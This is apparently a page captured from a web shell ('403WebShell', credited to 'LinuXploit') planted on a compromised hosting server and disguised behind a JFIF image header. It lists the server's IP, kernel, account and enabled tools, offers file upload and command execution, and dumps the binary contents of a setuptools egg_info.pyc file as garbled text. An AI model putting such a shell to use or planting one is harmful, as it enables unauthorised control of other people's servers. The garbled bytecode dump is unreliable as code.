���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.211  /  Your IP : 216.73.216.222
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyc
�
u�fc@s|dZddlmZddlmZddlmZddlm	Z	ddlZddlZddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&ddl'j(Z(ddl)m*Z*ddlm+Z+ddlm,Z,d�Z-dd(d��YZ.de.efd��YZ/defd��YZdefd��YZ0d�Z1d�Z2d�Z3d�Z4d�Z5d �Z6d!�Z7d"�Z8e9d#�Z:d$�Z;d%�Z<d&e,fd'��YZ=dS()sUsetuptools.command.egg_info

Create a distribution's .egg-info directory and contentsi����(tFileList(tDistutilsInternalError(tconvert_path(tlogN(tsix(tmap(tCommand(tsdist(twalk_revctrl(tedit_config(t	bdist_egg(tparse_requirementst	safe_namet
parse_versiontsafe_versiontyield_linest
EntryPointtiter_entry_pointstto_filename(tglob(t	packaging(tSetuptoolsDeprecationWarningcCs�d}|jtjj�}tjtj�}d|f}xt|�D]\}}|t|�dk}|dkr�|r�|d7}qG|d||f7}qGnd}t|�}	x�||	krA||}
|
dkr�||d7}nJ|
d	kr||7}n1|
d
kr!|d}||	krB||dkrB|d}n||	krk||dkrk|d}nx*||	kr�||dkr�|d}qnW||	kr�|tj|
�7}q4||d|!}d}
|ddkr�d
}
|d}n|
tj|�7}
|d|
f7}|}n|tj|
�7}|d7}q�W|sG||7}qGqGW|d7}tj|dtj	tj
B�S(s�
    Translate a file path glob like '*.txt' in to a regular expression.
    This differs from fnmatch.translate which allows wildcards to match
    directory separators. It also knows about '**/' which matches any number of
    directories.
    ts[^%s]is**s.*s
(?:%s+%s)*it*t?t[t!t]t^s[%s]s\Ztflags(tsplittostpathtseptretescapet	enumeratetlentcompilet	MULTILINEtDOTALL(RtpattchunksR!t
valid_chartctchunkt
last_chunktit	chunk_lentchartinner_itinnert
char_class((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyttranslate_pattern$sV







	
t
InfoCommoncBsAeZdZdZed��Zd�Zd�Zee�Z	RS(cCst|jj��S(N(Rtdistributiontget_name(tself((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytname{scCsE|jj�}|jr4|j|j�r4t|�St||j�S(N(R7tget_versiontvtagstendswithR(R9tversion((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyttagged_versions
cCsBd}|jr||j7}n|jr>|tjd�7}n|S(NRs-%Y%m%d(t	tag_buildttag_datettimetstrftime(R9R>((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyttags�s		N(
t__name__t
__module__tNoneR@RAtpropertyR:R?RDR<(((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR6ws		tegg_infocBs�eZdZddddgZdgZidd
6Zd
�Zed��Zej	d��Zd�Z
d�Zed�Z
d�Zd�Zd�Zd�Zd�ZRS(s+create a distribution's .egg-info directorys	egg-base=tesLdirectory containing .egg-info directories (default: top of the source tree)stag-datetds0Add date stamp (e.g. 20050528) to version numbers
tag-build=tbs-Specify explicit tag to add to version numbersno-datetDs"Don't include date stamp [default]cCs1d|_d|_d|_d|_t|_dS(N(RGtegg_basetegg_nameRItegg_versiontFalsetbroken_egg_info(R9((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytinitialize_options�s
				cCsdS(N((R9((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyttag_svn_revision�scCsdS(N((R9tvalue((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRT�scCs@tj�}|j�|d<d|d<t|td|��dS(s�
        Materialize the value of date into the
        build tag. Install build keys in a deterministic order
        to avoid arbitrary reordering on subsequent builds.
        R@iRARIN(tcollectionstOrderedDictRDR	tdict(R9tfilenameRI((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytsave_version_info�s
cCs�|j|_|j�|_t|j�}yKt|tjj�}|rNdnd}t	t
||j|jf��Wn3tk
r�tj
jd|j|jf��nX|jdkr�|jj}|p�ijdtj�|_n|jd�t|j�d|_|jtjkr=tjj|j|j�|_nd|jkrY|j�n|j|jj_|jj}|dk	r�|j|jj�kr�|j|_ t|j�|_!d|j_ndS(Ns%s==%ss%s===%ss2Invalid distribution name or version syntax: %s-%sRRNs	.egg-infot-("R:ROR?RPR
t
isinstanceRR>tVersiontlistRt
ValueErrort	distutilsterrorstDistutilsOptionErrorRNRGR7tpackage_dirtgetRtcurdirtensure_dirnameRRIR tjointcheck_broken_egg_infotmetadatat
_patched_disttkeytlowert_versiont_parsed_version(R9tparsed_versiont
is_versiontspectdirstpd((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytfinalize_options�s6!
	!
!
$cCsl|r|j|||�nLtjj|�rh|dkrX|rXtjd||�dS|j|�ndS(s�Write `data` to `filename` or delete if empty

        If `data` is non-empty, this routine is the same as ``write_file()``.
        If `data` is empty but not ``None``, this is the same as calling
        ``delete_file(filename)`.  If `data` is ``None``, then this is a no-op
        unless `filename` exists, in which case a warning is issued about the
        orphaned file (if `force` is false), or deleted (if `force` is true).
        s$%s not set in setup(), but %s existsN(t
write_fileRR texistsRGRtwarntdelete_file(R9twhatRYtdatatforce((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytwrite_or_delete_file�s	
cCsdtjd||�tjs.|jd�}n|js`t|d�}|j|�|j�ndS(s�Write `data` to `filename` (if not a dry run) after announcing it

        `what` is used in a log message to identify what is being written
        to the file.
        swriting %s to %ssutf-8twbN(	RtinfoRtPY2tencodetdry_runtopentwritetclose(R9RyRYRztf((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRus		
cCs-tjd|�|js)tj|�ndS(s8Delete `filename` (if not a dry run) after announcing itsdeleting %sN(RR~R�Rtunlink(R9RY((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRxs	cCs�|j|j�tj|jd�|jj}xXtd�D]J}|jd|�|j	�}|||j
tjj|j|j
��q<Wtjj|jd�}tjj
|�r�|j|�n|j�dS(Nsegg_info.writerst	installersnative_libs.txt(tmkpathRIRtutimeRGR7tfetch_build_eggRtrequiretresolveR:R RgRvRxtfind_sources(R9R�teptwritertnl((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytruns,cCsJtjj|jd�}t|j�}||_|j�|j|_dS(s"Generate SOURCES.txt manifest filesSOURCES.txtN(	RR RgRItmanifest_makerR7tmanifestR�tfilelist(R9tmanifest_filenametmm((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�*s
	
cCs�|jd}|jtjkr:tjj|j|�}ntjj|�r�tjddddd||j	�|j	|_
||_	ndS(Ns	.egg-infoR[iNs�
Note: Your current .egg-info directory has a '-' in its name;
this will not work correctly with "setup.py develop".

Please rename %s to %s to correct this problem.
(RORNRReR RgRvRRwRIRR(R9tbei((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRh2s

(s	egg-base=RJsLdirectory containing .egg-info directories (default: top of the source tree)(stag-dateRKs0Add date stamp (e.g. 20050528) to version number(s
tag-build=RLs-Specify explicit tag to add to version number(sno-dateRMs"Don't include date stamp [default](RERFtdescriptiontuser_optionstboolean_optionstnegative_optRSRHRTtsetterRZRtRQR|RuRxR�R�Rh(((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRI�s&		
	
	
	1				RcBs�eZd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�ZRS(cCs�|j|�\}}}}|dkrw|jddj|��x�|D](}|j|�sHtjd|�qHqHWnx|dkr�|jddj|��xO|D](}|j|�s�tjd|�q�q�Wn|dkr/|jd	dj|��x�|D](}|j|�stjd
|�qqWn�|dkr�|jddj|��x�|D](}|j|�s\tjd
|�q\q\Wnd|dkr�|jd|dj|�f�x5|D].}|j	||�s�tjd||�q�q�Wn�|dkr[|jd|dj|�f�x�|D].}|j
||�s&tjd||�q&q&Wn�|dkr�|jd|�|j|�s�tjd|�q�nR|dkr�|jd|�|j|�s�tjd|�q�nt
d|��dS(Ntincludesinclude t s%warning: no files found matching '%s'texcludesexclude s9warning: no previously-included files found matching '%s'sglobal-includesglobal-include s>warning: no files found matching '%s' anywhere in distributionsglobal-excludesglobal-exclude sRwarning: no previously-included files matching '%s' found anywhere in distributionsrecursive-includesrecursive-include %s %ss:warning: no files found matching '%s' under directory '%s'srecursive-excludesrecursive-exclude %s %ssNwarning: no previously-included files matching '%s' found under directory '%s'tgraftsgraft s+warning: no directories found matching '%s'tprunesprune s6no previously-included directories found matching '%s's'this cannot happen: invalid action '%s'(t_parse_template_linetdebug_printRgR�RRwR�tglobal_includetglobal_excludetrecursive_includetrecursive_excludeR�R�R(R9tlinetactiontpatternstdirtdir_patterntpattern((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytprocess_template_lineEsd

	
	
		
		
		
	
cCsrt}xett|j�ddd�D]D}||j|�r&|jd|j|�|j|=t}q&q&W|S(s�
        Remove all files from the file list that match the predicate.
        Return True if any matching files were removed
        ii����s
 removing (RQtrangeR%tfilesR�tTrue(R9t	predicatetfoundR/((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyt
_remove_files�s&

cCsHgt|�D]}tjj|�s
|^q
}|j|�t|�S(s#Include files that match 'pattern'.(RRR tisdirtextendtbool(R9R�R�R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s1
cCst|�}|j|j�S(s#Exclude files that match 'pattern'.(R5R�tmatch(R9R�R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCsftjj|d|�}gt|dt�D]}tjj|�s+|^q+}|j|�t|�S(sN
        Include all files anywhere in 'dir/' that match the pattern.
        s**t	recursive(RR RgRR�R�R�R�(R9R�R�tfull_patternR�R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s

cCs.ttjj|d|��}|j|j�S(sM
        Exclude any file anywhere in 'dir/' that match the pattern.
        s**(R5RR RgR�R�(R9R�R�R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCsOgt|�D]%}tjj|�D]}|^q#q
}|j|�t|�S(sInclude all files from 'dir/'.(RR`R�tfindallR�R�(R9R�t	match_dirtitemR�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s
%
cCs+ttjj|d��}|j|j�S(sFilter out files from 'dir/'.s**(R5RR RgR�R�(R9R�R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCsy|jdkr|j�nttjjd|��}g|jD]}|j|�rA|^qA}|j|�t	|�S(s�
        Include all files anywhere in the current directory that match the
        pattern. This is very inefficient on large file trees.
        s**N(
tallfilesRGR�R5RR RgR�R�R�(R9R�R�R�R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s
+
cCs+ttjjd|��}|j|j�S(sD
        Exclude all files anywhere that match the pattern.
        s**(R5RR RgR�R�(R9R�R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCsN|jd�r|d }nt|�}|j|�rJ|jj|�ndS(Ns
i����(R=Rt
_safe_pathR�tappend(R9R�R ((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s

cCs |jjt|j|��dS(N(R�R�tfilterR�(R9tpaths((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��scCs"tt|j|j��|_dS(s�
        Replace self.files with only safe paths

        Because some owners of FileList manipulate the underlying
        ``files`` attribute directly, this method must be called to
        repair those paths.
        N(R^R�R�R�(R9((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyt_repair�scCs�d}tj|�}|dkr6tjd|�tStj|d�}|dkrktj||d�tSy,tjj	|�s�tjj	|�r�t
SWn*tk
r�tj||tj
��nXdS(Ns!'%s' not %s encodable -- skippings''%s' in unexpected encoding -- skippingsutf-8(t
unicode_utilstfilesys_decodeRGRRwRQt
try_encodeRR RvR�tUnicodeEncodeErrortsystgetfilesystemencoding(R9R tenc_warntu_patht	utf8_path((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR��s$
(RERFR�R�R�R�R�R�R�R�R�R�R�R�R�R�(((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRBs	I	
			
		
						
R�cBseeZdZd�Zd�Zd�Zd�Zd�Zd�Ze	d��Z
d�Zd	�ZRS(
sMANIFEST.incCs(d|_d|_d|_d|_dS(Ni(tuse_defaultsR�t
manifest_onlytforce_manifest(R9((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRS	s			cCsdS(N((R9((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRtscCs�t�|_tjj|j�s.|j�n|j�tjj|j�rZ|j	�n|j
�|jj�|jj�|j�dS(N(
RR�RR RvR�twrite_manifesttadd_defaultsttemplatet
read_templatetprune_file_listtsorttremove_duplicates(R9((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�s





cCs"tj|�}|jtjd�S(Nt/(R�R�treplaceRR!(R9R ((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyt_manifest_normalizescCsb|jj�g|jjD]}|j|�^q}d|j}|jt|j|f|�dS(so
        Write the file list in 'self.filelist' to the manifest file
        named by 'self.manifest'.
        swriting manifest file '%s'N(R�R�R�R�R�texecuteRu(R9R�R�tmsg((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�"s
(
cCs&|j|�s"tj||�ndS(N(t_should_suppress_warningRRw(R9R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRw.scCstjd|�S(s;
        suppress missing-file warnings from sdist
        sstandard file .*not found(R"R�(R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�2scCs�tj|�|j�|jj|j�|jj|j�tt��}|re|jj	|�n"t
jj|j�r�|j
�nt
jjd�r�|jjd�n|jd�}|jj|j�dS(Nssetup.pyRI(RR�t
check_licenseR�R�R�R�R^RR�RR Rvt
read_manifesttget_finalized_commandR�RI(R9trcfilestei_cmd((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�9s


cCsy|jd�}|jj�}|jj|j�|jj|�tjtj	�}|jj
d|d|dd�dS(Ntbuilds(^|s)(RCS|CVS|\.svn)tis_regexi(R�R7tget_fullnameR�R�t
build_baseR"R#RR!texclude_pattern(R9R�tbase_dirR!((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�Ls(
RERFR�RSRtR�R�R�RwtstaticmethodR�R�R�(((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�s							cCsGdj|�}|jd�}t|d��}|j|�WdQXdS(s{Create a file with the specified name and write 'contents' (a
    sequence of strings without line terminators) to it.
    s
sutf-8R}N(RgR�R�R�(RYtcontentsR�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyRuVscCs�tjd|�|js�|jj}|j|j|_}|j|j|_}z|j	|j
�Wd|||_|_Xt|jdd�}t
j|j
|�ndS(Ns
writing %stzip_safe(RR~R�R7RiRPR>ROR:twrite_pkg_infoRItgetattrRGR
twrite_safety_flag(tcmdtbasenameRYRitoldvertoldnametsafe((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�cs	cCs&tjj|�r"tjd�ndS(NssWARNING: 'depends.txt' is not used by setuptools 0.6!
Use the install_requires/extras_require setup() args instead.(RR RvRRw(R�R�RY((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytwarn_depends_obsoletevscCs;t|pd�}d�}t||�}|j|�dS(NcSs|dS(Ns
((R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyt<lambda>�R((RRt
writelines(tstreamtreqstlinest	append_cr((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyt_write_requirements~s	cCs�|j}tj�}t||j�|jp1i}x>t|�D]0}|jdjt	���t|||�qAW|j
d||j��dS(Ns
[{extra}]
trequirements(R7RtStringIOR�tinstall_requirestextras_requiretsortedR�tformattvarsR|tgetvalue(R�R�RYtdistRzR�textra((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytwrite_requirements�s	cCs<tj�}t||jj�|jd||j��dS(Nssetup-requirements(tioR�R�R7tsetup_requiresR|R(R�R�RYRz((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytwrite_setup_requirements�scCsetjg|jj�D]}|jdd�d^q�}|jd|djt|��d�dS(Nt.iistop-level namess
(RXtfromkeysR7titer_distribution_namesRRuRgR�(R�R�RYtktpkgs((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytwrite_toplevel_names�s2cCst|||t�dS(N(t	write_argR�(R�R�RY((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyt
overwrite_arg�scCsgtjj|�d}t|j|d�}|dk	rMdj|�d}n|j||||�dS(Nis
(RR tsplitextR�R7RGRgR|(R�R�RYR{targnameRU((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�s
cCs�|jj}t|tj�s*|dkr3|}n�|dk	r�g}x�t|j��D]n\}}t|tj�s�tj	||�}dj
ttt|j
����}n|jd||f�qXWdj
|�}n|jd||t�dS(Ns
s	[%s]
%s

Rsentry points(R7tentry_pointsR\Rtstring_typesRGR�titemsRtparse_groupRgRtstrtvaluesR�R|R�(R�R�RYR�RztsectionR�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyt
write_entries�s	'cCs}tjdt�tjjd�rytjd��C}x9|D]1}tj	d|�}|r;t
|jd��Sq;WWdQXndS(sd
    Get a -r### off of PKG-INFO Version in case this is an sdist of
    a subversion revision.
    s$get_pkg_info_revision is deprecated.sPKG-INFOsVersion:.*-r(\d+)\s*$iNi(twarningsRwtEggInfoDeprecationWarningRR RvRR�R"R�tinttgroup(R�R�R�((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pytget_pkg_info_revision�s
 RcBseZdZRS(sqClass for warning about deprecations in eggInfo in setupTools. Not ignored by default, unlike DeprecationWarning.(RERFt__doc__(((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyR�s((>R tdistutils.filelistRt	_FileListtdistutils.errorsRtdistutils.utilRR`RRR"R�RRRBRVtsetuptools.externRtsetuptools.extern.six.movesRt
setuptoolsRtsetuptools.command.sdistRRtsetuptools.command.setoptR	tsetuptools.commandR
t
pkg_resourcesRRR
RRRRRtsetuptools.unicode_utilsR�tsetuptools.globRRRR5R6RIR�RuR�R�R�RRRRRQRRRR(((sL/opt/alt/python27/lib/python2.7/site-packages/setuptools/command/egg_info.pyt<module>sT:	S��P	
						
			

Youez - 2016 - github.com/yon3zu
LinuXploit